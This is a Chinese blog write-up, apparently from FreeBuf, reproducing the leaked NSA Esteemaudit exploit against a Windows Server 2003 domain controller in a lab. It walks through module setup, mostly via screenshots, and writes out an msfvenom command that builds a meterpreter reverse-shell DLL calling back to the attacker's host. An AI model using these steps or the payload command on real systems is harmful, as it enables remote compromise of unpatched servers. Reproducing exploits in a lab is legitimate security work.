ShadowBroker释放的NSA工具中Esteemaudit漏洞复现过程首席安全官频道

logo.jpg

logo.jpg

近日臭名昭著的方程式组织工具包再次被公开,首席安全官频道TheShadowBrokers在steemit.com博客上提供了相关消息。以下是其中Esteemaudit漏洞复现过程。

前期准备

IP 系统信息 用途 备注
192.168.146.132 Windows xp 攻击机 需安python2.6.6&pywin32
192.168.146.129 kali 2.0 用于生成攻击payload(反弹shell等)和控制反弹的shell会话 生成reverse shell 的dll
192.168.146.136 Windows Server 2003 靶机 域控环境

靶机环境

1.png

1.png

需要域控环境

Esteemaudit漏洞复现过程

use Esteemaudit使用漏洞模块

2.png

2.png

设置目标IP和端口

3.png

3.png

然后基本上默认,基本配置如下:

4.png

4.png

运行后再进行配置。

 

5.png

5.png

然后基本上选择相对应的设置,CallbackIp填自己的,端口随便

6.png

6.png

然后配置DLL。注意这里默认路径基本上是不对,找到自己对应的文件路径进行修改:

 

7.png

7.png

然后基本上配置如下

8.png

8.png

可以运行了

 

9.png

9.png

利用Pcdlllauncher注入DLL

使用Pcdlllauncher

use Pcdlllauncher

10.png

10.png

然后生成用于反弹shell的dll payload:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.146.129 LPORT=4444 -f dll >win.dll

12.png

12.png

然后进行配置

找到自己对应的文件路径修改

11.png

11.png

要注入的恶意DLL文件路径

13.png

13.png

然后基本上默认,运行就行了,成功注入

查看Metasploit,成功返回shell

14.png

14.png

*本文作者:zusheng,转载请注明来自FreeBuf.COM

2017-04-20 09:07 阅读:324